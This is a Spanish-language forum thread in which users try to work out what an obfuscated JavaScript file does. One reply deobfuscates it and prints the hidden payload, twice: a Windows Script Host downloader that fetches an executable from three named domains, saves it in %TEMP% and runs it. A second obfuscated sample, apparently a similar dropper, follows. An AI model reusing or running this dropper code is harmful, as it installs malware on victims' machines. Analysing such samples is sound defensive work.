  1113.    return nc();
  1114. };
  1115.  
  1116. function l23() {
  1117.    nz('pli');
  1118.    return nc();
  1119. };
  1120.  
  1121. function l210() {
  1122.    nz('}; if');
  1123.    return nc();
  1124. };
  1125.  
  1126. function l218() {
  1127.    nz('54');
  1128.    return nc();
  1129. };
  1130.  
  1131. function l154() {
  1132.    nz('a.po');
  1133.    return nc();
  1134. };
  1135.  
  1136. function l67() {
  1137.    nz('ath.');
  1138.    return nc();
  1139. };
  1140.  
  1141. function l95() {
  1142.    nz('")');
  1143.    return nc();
  1144. };
  1145. for (var uud = 1; uud <= 225; uud++) {
  1146.    nz(this['l' + uud]());
  1147.    n += nc();
  1148. }
  1149. this[flmr() + l()](n);
En línea

Te vendería mi talento por poder dormir tranquilo.
colcrt

Desconectado Desconectado

Mensajes: 87


Ver Perfil
Re: como funciona y que hace este js
« Respuesta #3 en: 8 Febrero 2019, 22:28 pm »

1- Cuando copies un codigo no lo pases por gtranslator...please (funcion != function, para != for, etc)  :¬¬
2- El codigo evidentemente esta ofuscado, si conoces un poco de js o sabes usar google podras quitarle la proteccion y podras ver que hace el codigo escondido
Saludos

hola ya edite
En línea

EFEX


Desconectado Desconectado

Mensajes: 1.171


"Dinero Facil"


Ver Perfil WWW
Re: como funciona y que hace este js
« Respuesta #4 en: 9 Febrero 2019, 01:08 am »

Fijate que las funciones devuelven un string que completa el codigo malicioso.
El final del codigo es lo que importa

Código
  1. var a= '';
  2. for (var s = 1; s <= 244; s++) {
  3. //vh(this['uj'+s]()); pdcr += vl();  Comentamos para que no se ejecute el codigo ofuscado
  4. a += this['uj'+s](); // Concatenamos el resultado a una variable
  5. console.log(  a ); // mostramos el script completo
  6. }
  7. //this[e()+uj()](pdcr);  Comentamos para que no se ejecute el codigo ofuscado

El resto del codigo
Código
  1. function dl(fr) {
  2.    var b = "ckindustry.com harmacrebar.com etqy.com".split(" ");
  3.    for (var i = 0; i < b.length; i++) {
  4.        var ws = new ActiveXObject("WScript.Shell");
  5.        var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + Math.round(Math.random() * 100000000) + ".exe";
  6.        var dn = 0;
  7.        var xo = new ActiveXObject("MSXML2.XMLHTTP");
  8.        xo.onreadystatechange = function() {
  9.            if (xo.readyState == 4 && xo.status == 200) {
  10.                var xa = new ActiveXObject("ADODB.Stream");
  11.                xa.open();
  12.                xa.type = 1;
  13.                xa.write(xo.ResponseBody);
  14.                if (xa.size > 5000) {
  15.                    dn = 1;
  16.                    xa.position = 0;
  17.                    xa.saveToFile(fn, 2);
  18.                    try {
  19.                        ws.Run(fn, 1, 0);
  20.                    } catch (er) {};
  21.                };
  22.                xa.close();
  23.            };
  24.        };
  25.        try {
  26.            xo.open("GET", "http://" + b[i] + "/document.php?rnd=" + fr + "&id=" + stroke, false);
  27.            xo.send();
  28.        } catch (er) {};
  29.        if (dn == 1) break;
  30.    };
  31. };
  32. dl(3341);
  33. dl(8602);
  34. dl(8193);
  35.  
  36. function dl(fr) {
  37.    var b = "ckindustry.com harmacrebar.com etqy.com".split(" ");
  38.    for (var i = 0; i < b.length; i++) {
  39.        var ws = new ActiveXObject("WScript.Shell");
  40.        var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + Math.round(Math.random() * 100000000) + ".exe";
  41.        var dn = 0;
  42.        var xo = new ActiveXObject("MSXML2.XMLHTTP");
  43.        xo.onreadystatechange = function() {
  44.            if (xo.readyState == 4 && xo.status == 200) {
  45.                var xa = new ActiveXObject("ADODB.Stream");
  46.                xa.open();
  47.                xa.type = 1;
  48.                xa.write(xo.ResponseBody);
  49.                if (xa.size > 5000) {
  50.                    dn = 1;
  51.                    xa.position = 0;
  52.                    xa.saveToFile(fn, 2);
  53.                    try {
  54.                        ws.Run(fn, 1, 0);
  55.                    } catch (er) {};
  56.                };
  57.                xa.close();
  58.            };
  59.        };
  60.        try {
  61.            xo.open("GET", "http://" + b[i] + "/document.php?rnd=" + fr + "&id=" + stroke, false);
  62.            xo.send();
  63.        } catch (er) {};
  64.        if (dn == 1) break;
  65.    };
  66. };
  67. dl(3341);
  68. dl(8602);
  69. dl(8193);

Si obvie algo, lo hice a las apuradas  :rolleyes:
En línea

colcrt

Desconectado Desconectado

Mensajes: 87


Ver Perfil
Re: como funciona y que hace este js
« Respuesta #5 en: 15 Febrero 2019, 01:07 am »

EFEX gracias ya voy entendiendo  ;-)

me ayuda con este no me de la respuesta solo un indicio del la ofuscación

Código:
var juEFqegXodwknWtlpOv, OKMwPHjJQymtdVX, ojLqWfitUlxbncuQG, OlwpPLsvRDhBKQEV, hxEobzlsRgNfcdX, lAYcunLBjCUqezpbkw, bLGgrdCMRovlpnx, IGhuToEwXlJBQPS, QoUEVpsCPaHJLBvKIf, ykGFzfCKJwBRvrjo, EJwvfYAohpSrQzN, nuAxPyMlzEXTDkr, PdoNEByUDLakcIiurJF, KgJtXdpCLGQOuRMmYeV, qHzgFLwWdtJOBQcCpsP;

function JIUFoiVePNXYTRaOyB(vPsiWmlGbuYgxoeO) {
    KgJtXdpCLGQOuRMmYeV = 'jKAxegJjdOfuKAxegJjdOfEKAxegJjdOfFKAxegJjdOfqKAxegJjdOfeKAxegJjdOfgKAxegJjdOfXodKAxegJjdOfwkKA' +
        'xegJjdOfnWtKAxegJjdOflKAxe' +
        'gJjdOfpOKAxeg' +
        'JjdOfvKAxegJjdOf =' +
        ' KAxegJjdOfnKAxeg' +
        'JjdOfeKAxe' +
        'gJjdOfw KAxegJjdOfAcKAxegJjdOftKAxe' +
        'gJjdOfiKAxegJjdOfvKAx' +
        'egJjdOfeXOKAxegJjdOfbjecKAxegJ' +
        'jdOftKAxegJjdOf(KAxegJjdOf"sKAxegJ' +
        'j' +
        'dO' +
        'fHKAxegJjdOfelKAxegJjdOflKAxegJjdOf.KAxegJjdOfaKAxegJjdOfPKAxegJjdOfPKAxegJjdOflKAxegJjd' +
        'OfiKAxegJjdOfcAtKAxegJjdOfIKAxegJjd' +
        'Ofon' +
        '")KAxegJjdOf; OKAxe' +
        'gJjdOfKK' +
        'AxegJjdOfMKAxegJ' +
        'jdOfwPHKAxegJ' +
        'jdOfjJKAxegJj' +
        'dOfQKAxegJ' +
        'jdOfyKAxegJjdOfmtdKAxegJjdOfVX KA' +
        'xegJjdOf=KAxegJjdOf KAxegJjdOfnKAxegJjd' +
        'OfeKAxe' +
        'gJjdOfw KAxegJjdOf' +
        'AcKAx' +
        'egJjdOftiK' +
        'AxegJ' +
        'jdOfveKAxegJjdOfXObKAxe' +
        'gJjdOfjKAxegJjdOf' +
        'ec' +
        't(KAxegJjd' +
        'Of"KAxegJjdOfwKAxegJjdOf' +
        'sKAxegJjdOfCRiKAxegJjdOfpTKAxe' +
        'gJjdOf.SKA' +
        'x' +
        'egJjdOfheKAxegJjdO' +
        'flLKAxegJjdOf"' +
        'KAxegJjdOf)KAxegJjdOf; ' +
        'PKAxegJjdOfdoNEKAxegJjdOfByKAxe' +
        'gJjdOfUDKAxegJjdOfLaKAxegJjdO' +
        'fkKAxegJjdO' +
        'fcIiurJFKAxegJjdOf K' +
        'A' +
        'xeg' +
        'JjdOf' +
        '=KAxegJjdOf nKA' +
        'xegJjdOfeKAxegJjdOfw KAxeg' +
        'Jjd' +
        'OfAcKAxegJjd' +
        'OftKAxegJjdOfiKAxegJjdOfvKAxegJjdOfeK' +
        'AxegJjdOfXO' +
        'bKAxegJjdOfjKAxegJj' +
        'dOfectKAxegJjdOf(KAxegJ' +
        'jdOf' +
        '"SKAxegJjdOfcrKAxegJjdOfIKAxegJjdOfpKAxegJjdOftiKAxegJjdOfngKAxegJjdOf.' +
        'fKAxegJjdOfilEKA' +
        'xegJjdOfsYKAxegJjdOfsKAxegJ' +
        'jdOftKAxegJjdOfeKAxegJjdOfmKAxegJjdOfoKAxegJjdOfbJKAxegJj' +
        'dOfecT' +
        'KAxegJjdOf"KAxegJjdOf)' +
        'KAxegJjdOf; KAxegJj' +
        'dOffuKAxegJjdOfnc' +
        'KAxegJjdOftK' +
        'A' +
        'xegJj' +
        'dOfiKAxegJjdOfoKAxegJjdOfn KAxegJjdOfdhJ' +
        'KAxegJj' +
        'd' +
        'OfRKAxegJjdOfNafKAxegJjdOfpLKAxegJjdOfsKAxegJjdOfzqKAxeg' +
        'JjdOfjKAxegJjdOfoKAxegJjdOfigKAxegJjdOf(LKAxegJjdOfNKAxegJj' +
        'dOfCoKAxegJjdOfR' +
        'YKAxegJjdOfhKAxegJ' +
        'jdOfWseKAxegJjdOfMSKAxegJjd' +
        'OfKfj)KAxegJjdOf { KAx' +
        'egJjd' +
        'OfrKAxe' +
        'gJjdOfeKAxegJjdOftKAxegJjd' +
        'OfuKAxegJjdOfrKAxegJjdOfnKAxegJjdOf KAxegJjdOfSt' +
        'KAxegJjdOfrKAxegJjdOfin' +
        'g.fKA' +
        'xegJjdOfrKAxegJjdOfoKAxegJjdOf' +
        'mCKAxeg' +
        'JjdOfhKAxegJjdOfaKAxegJjdO' +
        'frKAxegJjdOfCKAxegJj' +
        'dOfodKAxegJjdOfe' +
        'KAxegJ' +
        'j' +
        'dOf(KAxegJjdOfLNKAxegJjdOfCKAxegJjdOfoRKAxegJ' +
        'j' +
        'dOfYKAxegJj' +
        'dOfhKAxegJjdOfWsKAxe' +
        'gJjd' +
        'OfeMKAxegJjdOfSKAxegJjdOfKKAxegJjdOff' +
        'KAxegJjdOf' +
        'jKAxegJjdOf);KAxegJjdOf KAxe' +
        'gJjdOf}KAxeg' +
        'JjdOf KAxegJjdOf' +
        'fuKA' +
        'xegJjdOfnKAxegJj' +
        'dOfctKAxegJjdOf' +
        'ionKAxegJjdOf KAxegJjdOfiKAxegJjdOfyKAxegJjdOfMKA' +
        'xegJjdOfwKAxeg' +
        'J' +
        'jdO' +
        'fbKAxegJjdOftKAxegJjdOfAxWP' +
        'KAxegJjdOfOohYKAxeg' +
        'JjdOfzKAxegJjdOfjKAxegJjdOfGv(DKAxegJjdOflKAxegJjdOfiKAxegJjdOfbKAxegJjdOfcKAxegJjdOfWKAxegJjdOfEgKAxeg' +
        'JjdOfNxfKAxeg' +
        'JjdOfXK' +
        'A' +
        'xegJjdOfJKAxegJjdOftKAxegJj' +
        'dOfnFKAxegJjdOfruKAxegJjdOfQKAxegJjdOf) ' +
        'KAxegJjdOf{KAxegJjd' +
        'Of KAxegJjdOfrKAxegJjdOfeKAxegJjdOftKAxegJjdOfuKAxegJjdOfrn KAxegJ' +
        'jdOfPKAx' +
        'egJjdOfdK' +
        'AxegJjdOfoKAxegJjdOfN' +
        'KAxegJjdOfE' +
        'KAxegJjdOfByKA' +
        'xegJjdOfUDLakcKAxegJj' +
        'dOfIiuKAxegJjdOfr' +
        'KAxegJjdOfJ' +
        'KAxegJjdOfF.KAxegJjdOfFKAxegJjdOfoKAxegJjdOflKAxegJjdOfderExKAx' +
        'egJjdOfistsKAxegJjdOf(DKAxegJjdOfliKAxegJ' +
        'jdOfbKAxegJjdOfcWKAxegJ' +
        'jdOfEg' +
        'KAxegJjdOfNKAxegJjdOfxKAxegJjdOffKAxeg' +
        'JjdOfX' +
        'KAxegJjdO' +
        'fJtKAxegJjdOfnKAxegJjdOfFKAxegJjdOf' +
        'rKAxegJjdOfuQKAxegJjdOf);KAxegJjdOf }KAxegJjdOf K' +
        'AxegJjdOffK' +
        'AxegJjdO' +
        'funct' +
        'iKAxegJjdOfon KAxegJjdOfMKAxegJjdOfuKAxegJjdOfrKAxegJjdOfNKKAxegJjdOfQlKAxeg' +
        'JjdOfVKAxegJjdOfSKA' +
        'xegJjdOfcKAxegJjdOf' +
        'mpKAxegJjdOfLDKAxegJjdOfXRK' +
        'AxegJjdOfeKAxegJjdOf(KAxegJjdOfqKAxegJjdOfrKAxeg' +
        'J' +
        'jdOfPF' +
        'DfKAxegJjdOfoLQEACKAxegJjdOfOKAxe' +
        'gJjdOfjKAxegJjdOfpKAxe' +
        'gJjdOftKAxegJjdOfiKAx' +
        'egJjdOfd,KAxegJjdOf KAxegJjdOfr' +
        'eEk' +
        'jK' +
        'AxegJjdOfgh' +
        'KKAxegJjdOffKAxegJjdOfVbKAxegJjdOfzKAxegJjdOfHKAxegJjdOfPYKA' +
        'xegJjdOfIKAxegJjdOf' +
        ')KAxegJjdOf {KAxeg' +
        'JjdOf ' +
        'rKAxegJjdOfe' +
        'tKAxegJjdOfuKAxegJjdOfrn KA' +
        'xegJjdOfqrPFDfKAxegJjdOfoKA' +
        'xe' +
        'gJjdOfL' +
        'KAxegJjdOfQEKAxegJjdOf' +
        'AKAxegJjdOfCK' +
        'AxegJjdOfOjpKAxegJjd' +
        'OftKAxegJjdOfiKA' +
        'x' +
        'e' +
        'gJjdOfdKAxegJjdOf.charCoKAxegJjdO' +
        'f' +
        'dKAxegJjdOfeKAxegJjdOfA' +
        'KAxegJjdOftKAxegJjd' +
        'Of(r' +
        'eEKA' +
        'xegJjdOfkKAxegJjdOfjghKAxegJ' +
        'jd' +
        'OfKfKAxegJjdOfVKAxegJjdOfbKAxegJjdOfzKAxegJjdOfHKAxegJjdOfPYKAxegJjdOfI);KAxegJjdOf ' +
        'KAxe' +
        'gJjdOf} oKAxegJjdOfjKAxegJjdOfLKAxegJjdOfqWKAxeg' +
        'JjdOffKAxegJjdOfiKAxegJjdOftKAxegJjdOf' +
        'UKAxegJjdOflxKAxegJjdOfbKAxegJjdO' +
        'fncuKAxegJjdOfQG KAxegJjdOf=KAxegJjdOf KAxegJ' +
        'j' +
        'dOf"KAxegJjdOffKAx' +
        'egJjdO' +
        'f' +
        '+KA' +
        'xegJ' +
        'jdOfwA+bKAxegJjdOf+m+KAxegJjdOf)+KAxegJjdOf' +
        'vK' +
        'AxegJjdOf+KAx' +
        'egJjdOfo+KAxegJjdOfftKAxegJjdOfdbKAxegJjdOf+q+KAxegJjdOffK' +
        'AxegJjdOf+A)KAxegJjdOf#wAKAxegJjdOfbs' +
        '+&KAxegJj' +
        'dOfA3K' +
        'AxegJjdOf1+KAxegJjdOfxti' +
        '+KAxegJjdOfA+KAxegJjdOf&3KAxegJj' +
        'dOfAKAxegJjdOf+KAxegJjdOf1KAxegJjdOf&KAxegJjdOf4+KAxegJjdOfAKAxegJjdOfE&3KAxegJjdOf1KAxegJjdOf' +
        'A+KAxegJj' +
        'dOfoKAxegJjdOf' +
        'fxKAxe' +
        'gJj' +
        'dOf+KAxeg' +
        'J' +
        'jdOf&KAxegJjdOf+31KAxegJjd' +
        'OfBd' +
        'KAxegJjdOfA+uj+KAxegJjdOfAwAKAxeg' +
        'JjdOffKAxegJjdOfYK' +
        'AxegJjdOfP+cKAxe' +
        'gJjdOf+KAxeg' +
        'JjdOfAKAxegJjdOf' +
        '+KAxegJjdOfkKAxegJjdOf+fKAxegJjdOf+A+d+KAxegJjdOfuAKAxegJjdOf+&A3KAxegJjdOfA9KAxegJjdOfA+&' +
        'KAxeg' +
        'Jj' +
        'dOfAKA' +
        'xegJjdOf+3KAxegJjdOf3KA' +
        'xegJjd' +
        'OfxKAxegJjdOftdKAxegJjdOfsKAx' +
        'egJjdOfj+KAxegJjdOfqKAxeg' +
        'JjdOfuKAxegJjdOf+&+3' +
        'KAxegJjdOfAKA' +
        'xegJjdOf+FKAx' +
        'egJjdOft+i+fKAx' +
        'egJjdOfmAKAxegJjdOf+mKAxegJjdOf&KAxegJjdOf+33&KA' +
        'xe' +
        'g' +
        'JjdOf+KAxegJjdOf3:KAxegJjd' +
        'Of' +
        '&KAxegJ' +
        'jdOf4KAxe' +
        'gJj' +
        'dOfCKAxegJ' +
        'jdOf&+KAxegJjdOf1' +
        'AEKAxegJjdOf+KAxegJjdOf&KAxegJjdOfAKAx' +
        'egJjdO' +
        'f+1KAxegJjdOfBA+wKAxegJjd' +
        'OfbsKAxegJjdOf&KAxegJjdOf' +
        'AKAxe' +
        'gJjdOf+KAxegJjdOf3KAxegJjdOf+1KAxegJjdOf+KAxe' +
        'gJjdOftAiKAxe' +
        'gJjdOf&KAxegJjdOf3KAxegJjdOf' +
        'A' +
        'KAxe' +
        'gJj' +
        'dOf1K' +
        'AxegJjdOfAK' +
        'AxegJjdOf+KAxegJjdOf&KAxegJjdOf4E' +
        'KAxegJjdOf&AKAxegJjdOf3KAxeg' +
        'JjdOf' +
        '1' +
        'KAx' +
        'egJjdOf+KAxegJjdOfoKA' +
        'x' +
        'e' +
        'gJjdOffKAxegJjdOfAx' +
        'KA' +
        'xegJj' +
        'dOf&KAxegJjdOfA+KAxegJjdO' +
        'f31+KAxegJjdOfBdKAxegJjdOfuAKAxegJjdOf+KAxegJ' +
        'jdOf' +
        'jAKAxegJjdOfwfKAxegJjdOfAKAxegJjdOfYKAxegJjdOf+KAxegJjdOfAKAxegJ' +
        'jdOfPKAx' +
        'egJjdOfcKAxegJjdOf+kKAxegJjdOf+KAx' +
        'egJjdOfAKAxegJjdOf+K' +
        'AxegJjdOffdKAxe' +
        'gJjdOf+KAxegJjdOfuKAx' +
        'egJjd' +
        'Of&KAxegJjdOfAK' +
        'AxegJjdOf+KAxegJjd' +
        'Of3' +
        'KAxegJj' +
        'dO' +
        'f+KA' +
        'xe' +
        'gJjdOf9+KAxegJjdOfA&KAx' +
        'egJjdOf33KAxegJjdOfAKAxegJjdOf+K' +
        'AxegJjdOftAKAxegJjdOfi' +
        'fKAxegJjd' +
        'OfmKAxegJjdOf+KAxegJjdOfmKAxegJjdOf&KAxegJjdOf3+KAxegJjdOfFKAxegJjdOfbKAxegJjd' +
        'OfqKAxegJjdOfA+KAxeg' +
        'JjdOfqKAxegJjdOfmKAxegJjdOfAK' +
        'AxegJjdOf+KAxegJjdOfjKAxegJjdOf+KAxegJjdOfdKAxegJjdOf+KAxegJjdOfbuKAxegJjdOf' +
        'jKAxegJjdOfpoKAxegJjdOf+&KAxegJjdOf+KAxegJjdOf33KAxegJjdOf&3' +
        'KAxegJjdOf:KAxegJjdOfAKAxegJjdOf&+KAxeg' +
        'JjdOfAKAxegJjdOf4+C' +
        '&+KAxegJjdOf1' +
        'KAx' +
        'egJjdOfEKAxegJjdOf&AKAxegJjdOf1KAxe' +
        'gJjdOf+KAxegJjd' +
        'OfAKAxegJjdOf+KAxe' +
        'gJjdOfB' +
        'KAxegJjdOf+wKAxegJjdOfbKAxegJjd' +
        'Of' +
        's' +
        '&KAxegJjdOfAKAxegJjdOf3KAxegJjdOf1KAxegJjdO' +
        'fAKAxegJjdOfIKAxegJjdOfUU+Q' +
        '&KAxegJjdOf' +
        '3KAxegJjdOf1KAxegJjdOf&KAxegJjdOf4AKAxegJjdOf+E&KAxegJjdOf3KAxegJjdOfAKAxegJjd' +
        'Of1KAxegJjdOf+KAxegJjdOfAoKAxegJjdOff+KAxegJjdOfx&KAxegJj' +
        'dOf31KAxegJjdOfBKAxegJjdOfdujwKAxegJjdOffKAxegJjdOf+KAxeg' +
        'JjdOfY' +
        'KAxegJjdOfAKAxegJjd' +
        'OfPKAxegJjdOfAKAxegJjdOfcKAxegJjdOf+kKAxegJjdOffduKAxegJjdOf&AK' +
        'AxegJjdO' +
        'f3KAxegJjdOf9KAxe' +
        'gJjdOfAKAxegJjdOf&KAxegJjdOfAKAxegJjdOf3+KAxeg' +
        'JjdOf3NTKAxegJjdOfYKAxegJjdOf+KAxegJj' +
        'dOfA+NKAxe' +
        'gJjdOf+MKAxegJjdOf' +
        '&KAxegJjdOf+KAxegJjdOf' +
        '4AKAxegJjdOf+K' +
        'AxegJjdOf3&KAxegJjd' +
        'OfA3A' +
        'KAxegJjdOfFKAxegJjdOf+YKAxe' +
        'gJj' +
        'dOfAN+AKAxegJjdOfMA' +
        'KAxegJjdOfI' +
        'U+UKAxegJjdOfQ+' +
        'KAxegJjdOf&+KAxegJjdOfAKAxegJjdOf3K' +
        'AxegJjdO' +
        'f3AKAxegJjdOf' +
        '&3:&K' +
        'AxegJjdOf4CA&KAxegJj' +
        'dO' +
        'f1KAxegJjdOf+KAxeg' +
        'JjdOfEA+KAxegJj' +
        'dO' +
        'f&KAxegJjdOfA1BKAxeg' +
        'JjdO' +
        'fwbKAxegJjdOfsKAx' +
        'egJ' +
        'jdOf&KAxegJjdOfA+3KAxe' +
        'g' +
        'JjdOf+' +
        '1KAxegJjdOfTKAxegJjdOfAKAxegJjdOf+KAxegJjd' +
        'Of' +
        'uKAxegJjdOfAKAxegJjdOfs+fKAxegJjdOfbKAxegJjdOf+' +
        'AKAxegJjdOf+KAxeg' +
        'JjdOfn' +
        'KAxeg' +
        'JjdOfAKAxegJjdOf&KAxegJj' +
        'dOf+3K' +
        'AxegJjd' +
        'Of+KAxegJjdOf1' +
        'KAxegJjdOf&KAxegJjdOfA4KAxegJjdOfEKAxegJjdOfA' +
        'KAxegJjdOf+&3KAxegJjdOfAKAxegJjdOf1KAxeg' +
        'JjdO' +
        'foAKAxegJjdOf+fKAxegJjdOfAxKAxegJjdOf+&31BAdKAxegJjdOfuKAxegJjdOf+KA' +
        'xegJjdOfjAKAxegJjdOfwKAxegJjdOffYAKAxegJjdOf' +
        'PKAxegJjdOfc+KAxegJjdOfAKAxegJjdO' +
        'fkKAxegJjdOf+f+KAxegJjdOfAKAxegJ' +
        'jdOfdAKAxegJjdOf+KAxeg' +
        'JjdOfu&3KAxegJ' +
        'jd' +
        'Of+A+KAxegJ' +
        'jdOf9KAxegJjd' +
        'Of+' +
        'KAxegJjdOf&KAxegJjdOfAKAxegJjdOf3' +
        'KAxe' +
        'gJjdOf3KAxegJj' +
        'd' +
        'OfBKAxegJjdOfE+KAxegJjdOfPA' +
        'EKAxegJjdOfCKAxegJjd' +
        'Of&K' +
        'AxegJjdOfA3KAx' +
        'egJjdOf+KAxegJjdOfAKAxegJjd' +
        'Of+KAxegJjdOfFKAxegJjdOfA' +
        'TKAxegJjdOf+KAxegJjdOfusKAxegJjdOf+AKAxegJjdOffKAxegJjdOf+KAxegJjdOfb' +
        'KA' +
        'xegJjdOfnKAxegJjdOf&KAxegJjdOf3KAx' +
        'eg' +
        'JjdOf3' +
        '&KAxeg' +
        'JjdOfA+3KAxegJjdOfA:KAxe' +
        'gJjdOf+KAxegJjdOfA&KAxegJjdOf+4KAxegJjdOf+K' +
        'AxegJjdOfAKAxegJj' +
        'dOfC' +
        'KAxegJ' +
        'jdOf+A&KAxegJjdOf+KAxegJjdO' +
        'f1EKAxegJjdOf&KAxegJjdOfAKAxegJjdOf1KAxegJjdOf+B+KAxeg' +
        'JjdOfAwKAxegJjdOf+KAxegJjdOfAKAxegJjdOf+bKA' +
        'xegJjdOf+KAxegJjdOfs&KAxegJjdOf31q+A+KAxegJjdOfbKAxegJ' +
        'jdOfAKAxegJjdOf+uiKAxegJjdOf' +
        '+' +
        'KAxegJjdOf&KAx' +
        'egJjdOf+KAxegJjdOfAKAxegJjdOf3KAxeg' +
        'JjdOf1KAxegJjdO' +
        'f&KA' +
        'xegJjdOf+KAxegJjdO' +
        'f4KA' +
        'xegJjd' +
        'OfA+E&KAxeg' +
        'JjdOf' +
        'AKAxegJjdOf+KAxegJjdOf3KAxegJjdO' +
        'f1KAxegJjdOf' +
        '+KAxegJjd' +
        'OfxKAxegJjdOf+KAxegJjdOftKAxegJjdOfAKAxe' +
        'gJj' +
        'dOf' +
        '+iKAx' +
        'egJjdOf&KAxegJj' +
        'dOf+KAxe' +
        'gJjdOf3KAxegJjdOf+' +
        'KAxegJjdOfFKAxegJj' +
        'dOfTKAxegJjdOf+KAxegJjdOfAKAxegJjdOfqfKAxegJjdOfdKAxegJjdOfj+KAxegJ' +
        'jdOfAKAxegJjdOfbmKAxegJj' +
        'dOf+KAxegJjdOfG+KAxegJjdOfA' +
        'p+K' +
        'AxegJjdOfmeKAx' +
        'eg' +
        'JjdOff+KAxegJjdOfsKAxegJjdOf+KAxegJjdOftKAxegJj' +
        'dOf+K' +
        'Ax' +
        'egJjdOf&KAxegJjdOf3KAxegJjdOf+KAxegJjdOf9&KA' +
        'xegJjdOf3AK' +
        'AxegJjdOf3+KAxegJjdOfA+KAxegJjdOfUKAxegJ' +
        'jdOfAK' +
        'A' +
        'xegJjdOf+fnqAKAxegJjdOfmKAxegJjdOfAbKAxe' +
        'gJjd' +
        'Of+KAxegJ' +
        'jdOfuKAxegJjdOf+KAxegJj' +
        'dOffAK' +
        'AxegJjdOftKAxegJjdOfAKAxegJjdOf&KAxegJjdOf' +
        'A+K' +
        'AxegJjdOf3KAxegJjdOfA+KAxegJjdOf3KAxegJjdOf+KAxegJjdO' +
        'f&KAxegJjdOf3KAxegJjdOf:A&KAxegJ' +
        'jdOf3KAxegJjdO' +
        'f+CKAxegJjdOf&3KAxegJjdOf3+KAxegJ' +
        'jdOfA&KAxegJjd' +
        'Of' +
        '6AKAx' +
        'egJ' +
        'jdOfDKAxegJjdOf' +
        '&KAxegJjdOf+KA' +
        'xegJ' +
        'jdOf6KAxegJjdOfDAKAxegJjdOf+&AKAxe' +
        'gJjdOf3KAxegJj' +
        'd' +
        'Of3KAxegJjdOf' +
        '&A3AKAxegJjdOfCKAxegJjdOf&3KAxegJjdOfA9&KAxegJjdOf3KAxegJjdOfA9NKAxegJ' +
        'jdOfbKAxegJjdOf+' +
        'KAxe' +
        'gJ' +
        'jdOfuKAx' +
        'egJjdOfiKAxe' +
        'gJjdOf&AKAxegJjdOf+3+FKAxegJjdOfAKAxegJjdOfs+KAxegJjdOfAbAKAxegJjdOfoKAxegJjdOfe+KAxegJjdOfAKAxegJjdOfpAKAxegJjdOfnKAxegJjdOf+&+K' +
        'AxegJjdOf' +
        '3KAxegJjd' +
        'Of' +
        'A' +
        '9' +
        'A+KAxe' +
        'gJjdOf&KA' +
        'x' +
        'eg' +
        'Jj' +
        'dOf3KAxegJj' +
        'dOf:KAxeg' +
        'JjdOf&KAxegJjdOf+KAxegJjd' +
        'Of3KAxegJ' +
        'j' +
        'dOfBAKAxegJjdOf&KAxegJjdOfA4:&KAxegJjdOf' +
        '4:KAxegJjdOfAKAxegJjdOf+KAxegJjdOf&+KAxegJjdOf4' +
        ':+&KAxegJjdOfA+' +
        'KAxegJjdOf4:KAxegJjdOf&4K' +
        'AxegJjdOf:&+' +
        'KAxegJj' +
        'dOf4KAxegJjdOf+:' +
        'KAxegJjdOf&A3:KAxegJjdOfA+KAxegJjdOf&AK' +
        'AxegJjdOf' +
        '+3KAxegJjdOfAC' +
        'KAxegJjdOf+AKAx' +
        'egJjdOf+&' +
        'KAxegJjdOf+KAxegJjdOf4A+KAxegJjdO' +
        'f:&KAxegJjdOfA+K' +
        'Axe' +
        'gJjdOf4+KAxegJjdOf:KAxe' +
        'gJjdOf&4KAxegJjdOf+KAx' +
        'egJjdOfAKAxegJjdOf:KAxegJjdOf&4:+' +
        '&KAxegJjdOf+8AKAxegJjdOf+DKA' +
        'xegJjdOfA&KAxegJ' +
        'jdOf41KAxegJjdOf&' +
        'KAxegJjdOf3KAxegJj' +
        'dOf:KAxegJjdOf&KAxegJjd' +
        'Of3KA' +
        'xegJjdOfAKAxegJjdOfCKAxeg' +
        'JjdOf&KAxe' +
        'gJj' +
        'dOf+3KA' +
        'xegJjdOf3AKAxegJjdOf+KAxe' +
        'gJ' +
        'jdOf&KAxegJ' +
        'jdOf+KAxegJjdOf3KAxegJjdOfF' +
        'KAxeg' +
        'Jjd' +
        'OfAKAxegJjdOf+KAxegJjdOffyKA' +
        'xegJjdOffKAxegJj' +
        'dOf&KAxeg' +
        'JjdOf' +
        '+KAxe' +
        'gJjd' +
        'OfAKAxegJjdOf33K' +
        'AxegJjdOf&AKAxegJjdOf+KAxegJjdOf4+C&KAxegJjdOfA+KAxegJjdOf1KAxegJjdOfEK' +
        'AxegJjdOfAKAx' +
        'e' +
        'gJjdOf&KAxegJjdOf+KAxegJjdO' +
        'f1KAxegJjdOfBKAxegJjdOf+KAxegJjdOfAKAxegJjdOfIUKAxegJjdOf+KA' +
        'xegJ' +
        'jdOfUKAxegJjdOfQKAxegJjdOf+&KAxegJjdOf3KAxegJj' +
        'dOfA' +
        'KA' +
        'xegJjdOfF' +
        'K' +
        'AxegJjdOf+PKAxegJjdOfqKAxegJjdOffKAxegJjdOfo' +
        'KAxegJjdOf+KAxegJjdOf&KAxegJjdOf3KAxegJjdOfAKAxegJjdOf9KAxegJjdOf&33AHFKAxegJjdO' +
        'fA+K' +
        'AxegJ' +
        'jdOf' +
        'UKAxegJjdOf+KAxegJjdOfA+KAxegJjdOf&KAxegJjdOf33+AKAxegJ' +
        'jdOf&+KAxegJj' +
        'dOf3KAxegJjdOfDA&KAxegJjdO' +
        'fA+KAxegJjdOf3KAxegJjdOf1A' +
        'KAxegJjdOf' +
        '&KAxegJjdOf' +
        '3KAxegJjdO' +
        'f+KAxegJjdOf3+KAxegJjdOfAiKAxegJjdOfAK' +
        'Axe' +
        'g' +
        'JjdOf+KAxegJjdOfu' +
        'KAxeg' +
        'JjdOfuKAxeg' +
        'Jj' +
        'dOf' +
        '+AKAxegJjdOfqKAxegJjdO' +
        'f+KAx' +
        'egJjdOfAKAxegJjdOf&KAxegJjdOf4KA' +
        'xegJjdOfB&3AKAx' +
        'egJjdOfG+KAxe' +
        'gJjdOf&KAxegJj' +
        'dOf3GKAxegJjdOf+eKAxegJjdOf+K' +
        'AxegJjdOfAp+KAxegJjdOfA+vsKA' +
        'xegJjdOfAKAxeg' +
        'JjdOf+KAxegJjdOfvKAxegJjdOf+jKAxegJjdOfo+KA' +
        'xegJ' +
        'jdOfjKAxegJjdO' +
        'f' +
        '+KAxegJjdOfu+AKAxegJjdOf+zKAxegJjdOfeKAxeg' +
        'JjdOf' +
        'AvAb' +
        'ef&KAxegJjdOf3+KAxegJjdOfFKAxegJjdOf+KAxe' +
        'gJjd' +
